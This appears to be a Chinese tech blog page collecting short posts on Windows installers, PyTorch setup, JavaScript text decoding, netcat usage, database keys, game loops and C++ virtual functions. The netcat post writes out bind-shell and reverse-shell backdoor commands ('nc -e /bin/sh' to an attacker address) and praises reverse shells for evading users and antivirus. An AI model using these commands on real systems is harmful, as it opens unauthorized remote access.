Jack Huang's Blog


  • 首页

  • 标签

  • 归档

  • 搜索

VS2017打包Windows桌面程序

发表于 2019-09-26 | 更新于 2022-07-30

Microsoft Visual Studio 2017 Installer Projects是一个易于发布 VS 项目的官方插件,下面简要介绍该插件的使用。

安装插件

VS 工具栏 > 工具 > 扩展和更新 > 联机 > 搜索 Microsoft Visual Studio 2017 Installer Projects 并安装。安装完成后需要重启 VS。

添加 Setup Project

打开VS2017,新建Setup Project。

配置安装项目

设置Setup Project

选中添加的Setup Project,配置其属性。比较重要的属性有:

key val
Author 一般填公司名,会使用其作为软件安装目录名
Localization 指定软件运行地语种,如果你的软件是多语言的话
TargetPlatform 指定软件目标平台 x86 or x64
Version 发布版本号

桌面快捷方式

开始菜单快捷方式

设置快捷方式Icon

生成安装文件.msi

参考链接

  1. Microsoft Visual Studio 2017 Installer Projects,by SkyRiN.
  2. Vistual Studio Community 2017 30天许可证过期,by 井底一蛤蟆.

Windows下安装Pytorch过程记录

发表于 2019-09-24

PyTorch是一个开源的Python机器学习库,基于Torch,底层由C++实现,应用于人工智能领域,如自然语言处理。它最初由Facebook的人工智能研究团队开发,并且被用于Uber的概率编程软件Pyro。

PyTorch主要有两大特征:

  • 类似于NumPy的张量计算,可使用GPU加速;
  • 基于带自动微分系统的深度神经网络;

下面记录在Windows操作系统下安装PyTorch的方法。

安装Anaconda

到Anaconda Distribution下载合适的Anaconda。

查看cuda版本

参考Windows系统查看CUDA版本号。例如本机cuda版本为9.2。

安装pytorch

进入pytorch官网的GET STARTED,根据自身计算机环境,选择PyTorch Build、Your OS、Package、Language和CUDA,即得到安装pytorch的命令:

1
2
3
4
// 基于Anaconda
conda install pytorch torchvision cudatoolkit=9.2 -c pytorch -c defaults -c numba/label/dev
// 基于Python3.6
pip3 install torch==1.2.0+cu92 torchvision==0.4.0+cu92 -f https://download.pytorch.org/whl/torch_stable.html

pip安装whl包

torch1.2的包很大,直接用pip安装下载很慢,可以先用下载工具将torch1.2的whl下载下来,再直接安装。

1
pip3 install torch-1.2.0+cu92-cp36-cp36m-win_amd64.whl

验证

打开命令提示符,输入:

1
python

输入如下代码,查看输出:

1
2
3
4
from __future__ import print_function
import torch
x = torch.rand(5, 3)
print(x)

输出类似如下结果:

1
2
3
4
5
tensor([[0.3380, 0.3845, 0.3217],
[0.8337, 0.9050, 0.2650],
[0.2979, 0.7141, 0.9069],
[0.1449, 0.1132, 0.1375],
[0.4675, 0.3947, 0.1426]])

输入如下代码,验证GPU驱动和CUDA是安装正确,能够被PyTorch访问:

1
2
import torch
torch.cuda.is_available()

参考链接

  1. CUDA,by wikipedia.
  2. Windows 下安装Pytorch,by Big_quant.
  3. Windows系统查看CUDA版本号,by 潇洒坤.
  4. PyTorch,by wikipedia.
  5. GET STARTED,by pytorch.
  6. Getting Started with Python in VS Code,by visualstudio.

JS如何从ArrayBuffer中解码字符串

发表于 2019-09-24

最近遇到一个问题,拿到一个ArrayBuffer,知道它是以gb2312编码的文档,那么如何使用javascript从中解码出字符串。下面介绍常用的解决方案。

基础知识

字符编码

字符编码(英语:Character encoding)、字集码是把字符集中的字符编码为指定集合中某一对象(例如:比特模式、自然数序列、8位组或者电脉冲),以便文本在计算机中存储和通过通信网络的传递。常见的例子包括将拉丁字母表编码成摩斯电码和ASCII。其中,ASCII将字母、数字和其它符号编号,并用7比特的二进制来表示这个整数。通常会额外使用一个扩充的比特,以便于以1个字节的方式存储。

因此,如果不知道字符存储的编码方案,那么只能得到一堆无意义的数字,无法从中解码出正确的字符信息。

ArrayBuffer

ArrayBuffer对象、TypedArray对象、DataView对象是JavaScript操作二进制数据的一个接口。这些对象早就存在,属于独立的规格,ES6将它们纳入了ECMAScript规格,并且增加了新的方法。

这些对象原始的设计目的,与WebGL项目有关。所谓WebGL,就是指浏览器与显卡之间的通信接口,为了满足JavaScript与显卡之间大量的、实时的数据交换,它们之间的数据通信必须是二进制的,而不能是传统的文本格式。文本格式传递一个32位整数,两端的JavaScript脚本与显卡都要进行格式转化,将非常耗时。这时要是存在一种机制,可以像C语言那样,直接操作字节,将4个字节的32位整数,以二进制形式原封不动地送入显卡,脚本的性能就会大幅提升。

二进制数组就是在这种背景下诞生的。它很像C语言的数组,允许开发者以数组下标的形式,直接操作内存,大大增强了JavaScript处理二进制数据的能力,使得开发者有可能通过JavaScript与操作系统的原生接口进行二进制通信。

二进制数组由三个对象组成。

  • ArrayBuffer对象:代表内存之中的一段二进制数据,可以通过“视图”进行操作。“视图”部署了数组接口,这意味着,可以用数组的方法操作内存。

  • TypedArray对象:用来生成内存的视图,通过9个构造函数,可以生成9种数据格式的视图,比如Uint8Array(无符号8位整数)数组视图, Int16Array(16位整数)数组视图, Float32Array(32位浮点数)数组视图等等。

  • DataView对象:用来生成内存的视图,可以自定义格式和字节序,比如第一个字节是Uint8(无符号8位整数)、第二个字节是Int16(16位整数)、第三个字节是Float32(32位浮点数)等等。

简单说,ArrayBuffer对象代表原始的二进制数据,TypedArray对象代表确定类型的二进制数据,DataView对象代表不确定类型的二进制数据。它们支持的数据类型一共有9种(DataView对象支持除Uint8C以外的其他8种)。

解决方案

UTF-16的编码解码

下面的解决方案只能解码UTF-16编码的字符串,而且当ArrayBuffer的长度过大时,会报“ Maximum call stack size exceeded”的错误。

1
2
3
4
5
6
7
8
9
10
11
12
function ab2str(buf) {
return String.fromCharCode.apply(null, new Uint16Array(buf));
}

function str2ab(str) {
var buf = new ArrayBuffer(str.length*2); // 2 bytes for each char
var bufView = new Uint16Array(buf);
for (var i=0, strLen=str.length; i < strLen; i++) {
bufView[i] = str.charCodeAt(i);
}
return buf;
}

gb2312解码

下面的解决方案能解码指定编码的字符串,包括utf-8,utf-16, iso-8859-2, koi8, cp1261, and gbk等。

1
2
3
4
5
function ab2str(arrayBuf, encodeType) {
var decoder = new TextDecoder(encodeType)
var u8arr = new Uint8Array(arrayBuf)
return decoder.decode(u8arr)
}

参考链接

  1. How to convert ArrayBuffer to and from String,by Renato Mangini.
  2. 字符编码,by wikipedia.
  3. Converting arraybuffer to string : Maximum call stack size exceeded,by stackoverflow.
  4. “RangeError: Maximum call stack size exceeded” Why?,by stackoverflow.
  5. TextDecoder,by mozilla.
  6. String.fromCharCode(),by mozilla.
  7. 二进制数组,by 阮一峰.
  8. ArrayBuffer,by 阮一峰.

netcat使用方法简介

发表于 2019-09-22

netcat(通常缩写为nc)是一种计算机联网实用程序,用于使用TCP或UDP读写网络连接。 该命令被设计为可靠的后端,可以直接使用或由其他程序和脚本轻松驱动。 同时,它是功能丰富的网络调试和调查工具,因为它可以产生用户可能需要的几乎任何类型的连接,并具有许多内置功能。netcat被称为网络工具中的瑞士军刀,体积小巧,但功能强大。

使用帮助

选项 是否有“选项值” 说明
h NO 输出 nc 的帮助
v NO 在网络通讯时,显示详细的输出信息。注:建议新手多用该选项,出错时帮你诊断问题
n NO 对命令行中的“主机”,【不】进行域名解析。注:如果“主机”是“点分格式”的 IP 地址,需要用该选项;如果“主机”是“域名”形式,【不能】用该选项
p YES 指定“端口号”
l NO 开启“监听模式”,nc 作为【服务端】。注:如不加该选项,nc 默认作为客户端
u NO 使用 UDP 协议。注:如不加该选项,默认是 TCP 协议
w YES 设置连接的超时间隔(N 秒)
q YES 让 nc 延时(N 秒)再退出
z NO 开启“zero-I/O 模式”。注:该选项仅用于“端口扫描”,后面会聊到
k NO 配合 -l 选项使用,可以重复接受客户端连接。注:“原版 nc”的该选项用来开启“TCP keepalive”。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
X YES 指定代理的类型(具体用法,后面会聊到)。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
x YES 以 IP:port 的格式指定代理的位置。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
e YES 启动某个进程,把该进程的“标准输入输出”与网络通讯【对接】。注:通常用该选项开启一个网络后门。“OpenBSD 变种”基于安全考虑,已去掉该选项,但还是能用间接的方式达到同样的效果。

典型示例

网络诊断

测试某个远程主机的【监听】端口是否可达

用如下命令可以测试某个 IP 地址(x.x.x.x)上的某个监听端口(xx)是否开启。

1
2
nc -nv x.x.x.x xx
nc -nv -w 3 x.x.x.x xx

上述命令用到了如下几个选项:

  • 选项 -v

如果你是 nc 的新手,建议总是带上这个选项——通过更详细的输出,能帮你搞明白状况。

  • 选项 -n

由于测试的是【IP 地址】,用该选项告诉 nc,【无须】进行域名(DNS)解析;反之,如果你要测试的主机是基于【域名】,就【不能】用“选项 -n”。

  • 选项 -w

在测试链接的时候,如果你【没】使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才告诉你连接失败。

如果你所处的网络环境稳定且高速(比如:局域网内),那么,你可以追加“-w 选项”,设置一个比较小的超时值。

判断防火墙是否“允许 or 禁止”某个端口

在“主机S”上运行 nc,让它在 8080 端口,命令如下:

1
nc -lv -p 8080

然后在“主机C”上运行 nc,测试“主机S”上的 8080 端口是否可达。

1
nc -nv x.x.x.x xx
  • 选项 -l

这个选项会让 nc 进入监听模式。

  • 选项 -p

这个选项有“选项值”,也就是具体端口号。

  • 选项 -k

在默认情况下,nc 开启 listen 模式充当服务端,在接受【第一次】客户端连接之后,就会把监听端口关闭。

如果你想要让 nc 始终监听模式,使之能【重复】接受客户端发起的连接,可以追加 -k 选项。

  • 选项 -u

如果你要测试 UDP 协议,要记得【两边】的 nc 都要追加 -u 选项。

渗透测试

用 nc 进行“端口扫描”

下面这个命令,用来扫描 IP 地址为 x.x.x.x 的主机,扫描的端口范围从 1 到 1024。

1
2
nc -znv x.x.x.x 1-1024
nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded
  • 选项 -z

意思是:开启“zero-I/O 模式”。该模式指的是:nc 只判断某个监听端口是否能连上,连上后【不】与对端进行数据通讯。

  • 选项 -n

  • 选项 -v

由于“-v 选项”产生的输出位于【stderr】,上述命令中的 2>&1 用来把【stderr】合并到【stdout】(注:这种写法只适用于 POSIX 系统上的 shell)。

grep 命令用来进行【过滤】。对于 Windows 系统,默认【没有】grep 命令,需改用 find 命令过滤。

网络配置

基于 nc 的端口转发(Port Forward)

用 nc 进行端口转发,需要运行【两个】nc 进程,一个充当“服务端”,另一个是“客户端”,然后用【管道】让把两个进程的“标准输入输出”交叉配对。所谓的“交叉配对”就是——每一个 nc 进程的“标准输出”都【对接】到另一个 nc 进程的“标准输入”。如此一来,就可以完美地建立【双向通讯】。

运行下面命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口。

1
2
mkfifo nc_pipe
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe

系统管理

用 nc 传输文件

假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2

你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)

1
nc -l -p xxx > file2

然后在【发送端】(A 主机)运行如下命令。

1
nc x.x.x.x xxx < file1

第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是【主机 B】的 IP 地址。

用 nc 传输文件,相当于是:直接在【裸 TCP】层面传输。你可以通俗理解为:【没有】应用层。如果你传输的文件【超级大】或者文件数量【超级多】,用 nc 传输文件的性能优势会很明显(相比“FTP、SSH、共享目录…”而言)

用 nc 远程备份整个磁盘

你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)

1
nc -l -p xxx | dd of=/dev/sdb

然后在【发送端】(A 主机)运行如下命令。

1
dd if=/dev/sda | nc x.x.x.x xxx

网络入侵

用 nc 开启【被动】连接型后门

  • 在受害者机器上开启后门
1
2
nc.exe -l -p xxx -e cmd.exe
nc -l -p xxx -e /bin/sh

后门创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为后门的 nc(服务端 nc)。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。

  • 防范措施

NAT 模式的虚拟机(Guest OS)

NAT 的好处在于【单向可见】。也就是说,Guest OS 可以访问到物理系统(Host OS)【外部】的网络环境;但外部网络环境只能看到 Host OS,看不到 Guest OS。

在这种配置下,就算某个入侵者完全控制了你的 Guest OS,他/她也【没】办法在 Guest OS 中搭建“被动连接型后门”。换句话说,即使入侵者运行了这种后门,(但由于 NAT 的缘故)后门【无法】接受外部网络的连接,这个后门就【失去意义】。

用 nc 开启【主动】连接型后门

  • 攻击者在自己机器上运行“服务端 nc”
1
2
3
nc -lk -p xxx
nc.exe -e cmd.exe x.x.x.x xxx
nc -e /bin/sh x.x.x.x xxx

(在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)

  • 防范措施

【隔离模式】的虚拟机

  • 【主动】连接型后门的优势之处

简单对比一下“后门的两种连接方式”。

可用性

如果用“被动型后门”入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡【并未】分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。相比之下,“主动型后门”就【没有】这种弊端。

隐蔽性

“被动型后门”需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。相比之下,“主动型后门”就【没有】这个问题。

参考链接

  1. netcat,by wikipedia.
  2. NetCat使用指南,by Evilwing.

数据库表主键设计方法

发表于 2019-09-20

数据库表主键使用自增整型字段还是使用GUID字段,这是一个问题。下面详细分析它们的优劣。

基础知识

数据库设计范式

  • 第一范式(1NF):强调的是列的原子性,即列不能够再分成其他几列。简而言之,第一范式就是无重复的列

  • 第二范式(2NF):首先要满足它是1NF,另外还需要包含两部分内容:一是表必须有一个主键;二是没有包含在主键中的列必须完全依赖于主键,而不能只依赖于主键的一部分。简而言之,第二范式就是非主属性非部分依赖于主关键字

  • 第三范式(3NF):首先是 2NF,另外非主键列必须直接依赖于主键,不能存在传递依赖。即不能存在:非主键列 A 依赖于非主键列 B,非主键列 B 依赖于主键的情况。简而言之,第三范式(3NF)要求一个数据库表中不包含已在其它表中已包含的非主关键字信息。

反范式主键的设计原则

  • 主键应当是对用户没有意义的。业务上的‘主键’可以通过唯一键(Unique Key)或唯一索引(Unique Index)和其它约束条件实现
  • 主键应该是单列的,以便提高连接和筛选操作的效率
  • 不要更新主键。实际上,因为主键除了惟一地标识一行之外再没有其他的用途了,所以也就没有理由去对它更新。
  • 主键不应包含动态变化的数据,如时间戳、创建时间列、修改时间列等
  • 主键应当由计算机自动生成。

数据库表主键设计方法

数据库表主键设计主要有自增整型字段和使用GUID字段两种方法。

自增整型字段作为主键

最常用的主键设计方法。例如《阿里 Java 开发手册》中规定有以下 MySQL 建表规约:

表必备三字段:id, gmt_create, gmt_modified。 说明:其中id必为主键,类型为unsigned bigint、单表时自增、步长为1。gmt_create, gmt_modified的类型均为date_time类型。

该方法优点是:数据库自动编号,速度快,而且是增量增长,聚集型主键按顺序存放,对于检索非常有利;数字型的,占用空间小,易排序,在程序中传递也方便;如果通过非系统增加记录(比如手动录入,或是用其他工具直接在表里插入新记录,或老系统数据导入)时,非常方便,不用担心主键重复问题。

该方法缺点是:因为自动增长,在手动要插入指定ID的记录时会显得麻烦,尤其是当系统与其他系统集成时,需要数据导入时,很难保证原系统的ID不发生主键冲突。

GUID字符串作为主键

Guid:指在一台机器上生成的数字,它保证对在同一时空中的所有机器都是唯一的,其算法是通过以太网卡地址、纳秒级时间、芯片ID码和许多可能的数字生成。其格式为:04755396-9A29-4B8C-A38D-00042C1B9028。

GUID字符串作为主键的优点如下:

  • 在扩展数据库的时候,当你有多个数据库包含同一段(片)数据时,比如一个顾客集,使用 GUID 意味着该 ID 在所有的数据库中是唯一标识的,而不是仅仅本数据库唯一。这保障了跨数据库迁移数据的安全。又比如,我曾在项目中把多个数据库分片合并到一个 Hadoop 集群中,也没有产生键的冲突。

  • 在插入数据之前,你就能知道这个主键的值,这避免了一轮的数据查找,并且简化了事务的逻辑,即在你插入子记录之前,因为需要使用这个主键作为一个外键,你必须要知道这个主键的值。

  • GUID 不会透露数据的信息,因此被用在 URL 中也比自增整数更安全。比如,我是编号 12345678 号顾客,那么人们就会猜测编号为 12345677 和 12345679 的顾客的存在,这就提供了一种攻击向量。(但是后面我们会看到一个更好的替代品)

GUID字符串作为主键的缺点如下:

  • GUID 值较长,不容易记忆和输入,而且这个值是随机、无顺序的。
  • GUID 的值有 16 个字节,与其它那些诸如 4 字节的整数相比要相对大一些。这意味着如果在数据库中使用 uniqueidentifier 键,可能会带来两方面的消极影响:存储空间增大;索引时间较慢。

主流数据库中GUID实现

MSSQL

在MS Sql 数据库中可以在建立表结构是指定字段类型为uniqueidentifier,并且其默认值可以使用NewID()来生成唯一的Guid(全局唯一标识符).

使用NewID生成的比较随机,如果是SQL 2005可以使用NewSequentialid()来顺序生成,在此为了兼顾使用SQL 2000使用了NewID().

MySQL

MySQL中使用UUID()函数生成主键,UUID()函数将生成格式为xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12)的字符串,包含32个16进制数字,以连字号分为五段。示例:550e8400-e29b-41d4-a716-446655440000。

参考链接

  1. 数据库表主键设计原则,by 乐哉悠哉.
  2. [MySQL]数据库主键设计之思考,by 林老师带你学编程.
  3. 如何设计数据库的主键,by Veda 原型.
  4. [译] 把 UUID 或者 GUID 作为主键?你得小心啦!,by zaraguo.
  5. MySQL中使用UUID()函数生成主键,by shiyonghm.

游戏引擎与物理引擎

发表于 2019-09-16 | 更新于 2021-01-09

游戏引擎提供一系列可视化开发工具和可重用组件。这些工具通过与开发环境进行集成,方便开发者简单、快速进行数据驱动方式的游戏开发。为了提高游戏开发人员的开发效率,引擎开发者会开发出大量的游戏所需要的软件组件。大多数引擎集成了图形、声音、物理和人工智能等功能部件。游戏引擎会被称为“中间件”,因为它们可以提供灵活和重用平台,向游戏开发者提供所需要的全部核心功能,从而节省大量的游戏开发费用,降低开发的复杂性,缩短游戏的上市时间,所有这些对于高竞争性的游戏产业来说都是关键因素。诸如虚幻系列引擎、Unity3D、Frostbite Engine、zerodin引擎、Doom3引擎、CryENGINE、3DGame Studio、RenderWare、Gamebryo、Virtools以及Source引擎等引擎。

物理引擎是一个计算机程序模拟牛顿力学模型,使用质量、速度、摩擦力和空气阻力等变量。可以用来预测这种不同情况下的效果。它主要用在计算物理学和电子游戏以及计算机动画当中。物理引擎可作为游戏引擎的一个组件。

物理引擎有两种类型常见的型类:实时物理引擎和高精度物理引擎。高精度的物理引擎需要更多的处理能力来计算非常精确的物理,通常使用在科学研究(计算物理学)和计算机动画电影制作。实时物理引擎使用通常使用在电子游戏并且简化运算,降低精确度增以减少计算时间,得到在电子游戏当中可以接受的的处理速度。常用的物理引擎有:ODE、Box2D、PhysX、Bullet、Havok引擎。

游戏主循环

FPS(Frame Per Second)游戏帧速60帧是指游戏每秒循环更新60次。  

一个游戏程序的基本结构像是这样:

1
2
3
4
while (isRunning)
{
updateEverything();
}

固定拖时间更新法

1
2
3
4
5
while (isRunning)
{
updateEverything();
sleep(1.0/60);//程序进程等待1/60秒
}

累积时间更新法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* getCurrentTime()每次调用返回当前的时间 */
float lastUpdateTime = getCurrentTime();
while (isRunning)
{
float currentTime = getCurrentTime();
float deltaTime = currentTime - lastUpdateTime;
/* 每调用updateEverything()后检查时间,
直到过去的时间达到1/60秒就进行下一次更新 */
if (deltaTime >= 1.0/60)
{
lastUpdateTime = currentTime;
updateEverything();
}
}

图形更新调用法

1
2
3
4
5
6
7
8
9
10
11
while (isRunning)
{
updateEverything();
/* 等待垂直同步信号间的空白时间,程序执行到这里会进入等待
一般会被封装在类似swapBuffer之类的图形API中执行,
但是程序要开启了垂直同步的功能才有效。
不过貌似现在的智能手机都默认有垂直同步的效果,
当然手机和PC的硬件技术不同,可能也不叫这个名字了。*/
waitForVerticalBlank();
drawEverything();
}

死循环并计算时间差用于更新法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
float lastUpdateTime = getCurrentTime();
while (isRunning)
{
float currentTime = getCurrentTime();
float deltaTime = currentTime - lastUpdateTime;
lastUpdateTime = currentTime;
updateEverything(deltaTime);
}

void updateMove(float deltaTime)
{
position.x += speedX * deltaTime;
position.y += speedY * deltaTime;
}

累积时间半固定时长等图形更新并将时间差用于更新法

1
2
3
4
5
6
7
8
9
10
11
12
13
//假设目标是60帧/秒更新的游戏
float lastUpdateTime = getCurrentTime();
while (isRunning)
{
float currentTime = getCurrentTime();
float deltaTime = currentTime - lastUpdateTime;
lastUpdateTime = currentTime;
/* 如果游戏太卡,过长的时间差可能会导致跳过一些不能跳过的游戏逻辑,所以做一些人为限制 */
if (deltaTime > 1.0/30) deltaTime = 1.0/30;
updateEverything(deltaTime);
waitForVerticalBlank();
drawEverything();
}

上述方法只针对单机游戏有效,如果是网络游戏,考虑客户端之间的同步问题的话,帧速不稳定地变来变去是不好的,我们可以记录过去的时间里跑过的帧数,如果达不到目标帧数就连续进行更新直到赶上需要的帧数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//假设目标是60帧/秒更新的游戏
float startTime = getCurrentTime();
long passedFrames = 0;
while (isRunning)
{
float currentTime = getCurrentTime();
float totalTime = currentTime - startTime;
long targetTotalFrames = totalTime/(1.0/60);
/* 如果某一次更新耗时太久,则会导致passedFrames和targetTotalFrames差太多,所以就连续更新好几次逻辑来赶上目标的更新次数,以保证游戏的进度稳定*/
while (passedFrames < targetTotalFrames)
{
updateEverything();
passedFrames++;
}
/* 图形更新应该在逻辑完全完成更新以后才进行 */
drawEverything();
}

游戏时间

计算机是通过高分辨率计时器来衡量现实时间的,而游戏时间显然不能和真实事件的时间线一致,每个游戏都会有自身的时间线,该时间线和真实时间是两个平行的世界。开发者可以暂停游戏,冻结时间线,也可以通过某种指令来加速时间线,这些对于游戏的调试非常有帮助。一些游戏也会有一些类似时光倒流或者时间变慢的特殊特效,而这些都是通过操作时间线来完成的。

现在假设游戏程序以 60 FPS 在运行,则每帧的处理时间大约为16毫秒。如果想要确保帧率稳定运行,每次循环的处理时间都应该小于这个值,剩余的时间,程序进入睡眠状态:

1
2
3
4
5
6
7
8
9
10
while(true)
{
double start = getCurrentTime();

processInput();
udpate();
render();

sleep(start + MS_PER_FRAME - getCurrentTime());
}

如果每帧的处理时间小于16毫秒,sleep 可以保证游戏不会运行的太快。但是如果游戏的每帧超过16毫秒则会出现卡顿现象。

上面的代码中如果正常的情况下,可以确保每帧推进游戏进程16毫秒,但是因为每帧执行的时间无法固定,会导致帧处理时间超出固定的16毫秒而将游戏拖慢。在无法保证帧处理时间的情况下,我们尝试动态的更新策略,让每帧推进的时间不再是固定的16毫秒,而是根据帧处理的时间来动态调整:

1
2
3
4
5
6
7
8
9
10
double lastTime = getCurrentTime();
while (true)
{
double current = getCurrentTime();
double elapsed = current - lastTime;
processInput();
update(elapsed);
render();
lastTime = current;
}

每一帧我们都计算花费的真实时间(elapsed),而这条根据真实时间测量的时间线被称为全局时间线,所有的游戏内部 update() 逻辑都是基于这条全局时间线。update() 函数内部的处理逻辑会根据传入的时间间隔来驱动所有物体的动态效果,每个物体都有自己的局部时间线,这个局部时间线和全局时间线之间存在着一定的比例关系。例如游戏中存在一个飞行的子弹,子弹的飞行距离 = 子弹的飞行速度 * 子弹的飞行时间。这里的飞行时间并不一定是上面提到的全局时间线,可能是它的1/2或者2倍都是可以的,具体的快慢比例完全取决于你的游戏配置,这条和全局时间线比例不同的时间线也就是局部时间线。

游戏中渲染通常并不会被时间所影响,因为渲染引擎只是单纯的渲染某一时刻的数据逻辑,一般和时间没有关系。受影响的主要是游戏的逻辑更新部分,为了保证不会出现不同硬件的游戏效果不一致,我们可以固定游戏逻辑的更新时间间隔,确保更新频率保持一致。这样做虽然可能导致在配置好的机器上相同的逻辑被渲染多次,但是这显然并不会影响游戏逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
double previous = getCurrentTime();
double lag = 0.0;
while (true) {
double current = getCurrentTime();
double elapsed = current - previous;
previous = current;
lag += elapsed;

processInput();
while (lag >= MS_PER_UPDATE)
{
update();
lag -= MS_PER_UPDATE;
}
render();
}

现在游戏渲染时间线和游戏的更新时间线已经分离,代码中保持游戏的更新时间线以固定的时间间隔推进,这个时间间隔越短,update() 更新的频率越快,越慢更新的频率越低,过慢的更新频率会导致游戏产生抖动现象,不过因为时间步长和硬件不相关,这种现象只会出现在低端机器上。

通过上面的代码基本上已经可以解决游戏循环的大部分问题了,但是还会出现一种现象,就是当一次循环消耗过长的时间,在下一次游戏渲染的时候,渲染的数据仍然是上一个时间点的数据,而不是真实时间点的数据,这听起来不太容易理解,可以看下面的示意图:

游戏更新与渲染

图1 游戏更新与渲染不一致

在图中可以看出这是一个游戏的更新渲染序列,这里看第三次渲染(红点的位置)。因为上一帧的时间花费过长,导致在一帧的逻辑中调用了 update() 两次,进行了两次更新,这时渲染和更新的时间线发生偏移,渲染的真实位置在两次更新逻辑的中间,而渲染的结果却是上一次更新的结果(绿点的位置)。这显然是不对的,因为渲染的结果和现在真实的更新结果并不一样,这时候我们需要计算出二者时间线的偏移值,让渲染的结果符合真实的更新逻辑,也就是说需要计算出从绿点到红点位置的数据变化情况,只有这样渲染的结果才符合常理。

解决这个问题其实很简单,只需要将偏移的大小告诉渲染逻辑即可,渲染逻辑怎样处理这个偏移时间还需要程序自己来决定。

将渲染的代码改为:

1
render(lag / MS_PER_UPDATE);

参考链接

  1. 第十六章:物理引擎,by 冰点.
  2. 为什么单机游戏中的碰撞很不真实?物理引擎真的很难做到和现实一样吗?,by zhihu.
  3. 5.1、Faster Physics(一),by GIFPlane.
  4. 游戏主循环、帧速控制,by luvfight.
  5. 一些游戏程序的基础知识(一),by luvfight.
  6. 一些游戏程序的基础知识(二),by luvfight.
  7. FixedUpdate真的是固定的时间间隔执行吗?聊聊游戏定时器,by 嘉栋.
  8. 欧拉方法,by wikipedia.
  9. 游戏循环,by 没事造轮子.
  10. 大型多人在线游戏的开发中,如何做到每个玩家动作的实时同步的?,by zhihu.

C++虚函数与纯虚函数

发表于 2019-09-15 | 更新于 2024-04-20

在面向对象程序设计领域,C++、Object Pascal 等语言中有虚函数(英语:virtual function)或虚方法(英语:virtual method)的概念。这种函数或方法可以被子类继承和覆盖,通常使用动态调度实现。

纯虚函数或纯虚方法是一个需要被非抽象的派生类覆盖(override)的虚函数. 包含纯虚方法的类被称作抽象类; 抽象类不能被直接实例化。 一个抽象基类的一个子类只有在所有的纯虚函数在该类(或其父类)内给出实现时, 才能直接实例化. 纯虚方法通常只有声明(签名)而没有定义(实现),但有特例情形要求纯虚函数必须给出函数体定义.

虚函数示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# include <iostream>
# include <vector>

using namespace std;
class Animal
{
public:
virtual void eat() const { cout << "I eat like a generic Animal." << endl; }
virtual ~Animal() {}
};

class Wolf : public Animal
{
public:
void eat() const { cout << "I eat like a wolf!" << endl; }
};

class Fish : public Animal
{
public:
void eat() const { cout << "I eat like a fish!" << endl; }
};

class GoldFish : public Fish
{
public:
void eat() const { cout << "I eat like a goldfish!" << endl; }
};


class OtherAnimal : public Animal
{
};

int main()
{
std::vector<Animal*> animals;
animals.push_back( new Animal() );
animals.push_back( new Wolf() );
animals.push_back( new Fish() );
animals.push_back( new GoldFish() );
animals.push_back( new OtherAnimal() );

for( std::vector<Animal*>::const_iterator it = animals.begin();
it != animals.end(); ++it)
{
(*it)->eat();
delete *it;
}

return 0;
}

以下是虚函数 Animal::eat() 的输出:

1
2
3
4
5
I eat like a generic Animal.
I eat like a wolf!
I eat like a fish!
I eat like a goldfish!
I eat like a generic Animal.

纯虚函数示例

在C++语言中, 纯虚函数用一种特别的语法[=0]定义。

1
2
3
4
class Abstract {
public:
virtual void pure_virtual() = 0;
};

纯虚函数的定义仅提供方法的原型. 虽然在抽象类中通常不提供纯虚函数的实现, 但是抽象类中可以包含其实现, 而且可以不在声明的同时给出定义[2]. 每个非抽象子类仍然需要重载该方法, 抽象类中实现的调用可以采用以下这种形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
void Abstract::pure_virtual() {
// do something
}

class Child : public Abstract {
virtual void pure_virtual(); // no longer abstract, this class may be
// instantiated.
};

void Child::pure_virtual() {
Abstract::pure_virtual(); // the implementation in the abstract class
// is executed
}

参考链接

  1. 虚函数和纯虚函数的区别,by hackbuteer1.
  2. 虚函数,by wikipedia.
  3. C++中虚析构函数的作用,by StarLee.
  4. 开源免费的C/C++网络库(c/c++ sockets library) 七剑下天山,by 工程师WWW.
  5. VS2010中属性页中,C/C++ –>预处理器定义,by J.M.Liu.
  6. 深入理解C/C++混合编程(关于#ifdef __cplusplus extern “C” {…}的用法),by zzwdkxx.
  7. 带你玩转 Visual Studio——带你多工程开发,by luoweifu.
  8. c++中冒号(:)和双冒号(::)的用法,by 小金乌会发光-Z&M.
  9. C++ 构造函数总结,by chaibubble.
  10. 详谈C++保护成员和保护继承,by C语言中文网.
  11. c++ 内联函数(一看就懂),by 兴趣斗士.
  12. 浅析C++类的内存布局,by 冯Jungle.
  13. 图说C++对象模型:对象内存布局详解,by melonstreet.
  14. C++ 对象的内存布局,by 陈皓.
  15. C++类对象的内存布局,by 一叶知秋dong.
  16. C++中类所占的内存大小以及成员函数的存储位置,by SOC罗三炮.
  17. struct的用法和struct的对齐原则,by 马小超i.

Ubuntu16.04编译安装OSG

发表于 2019-09-14

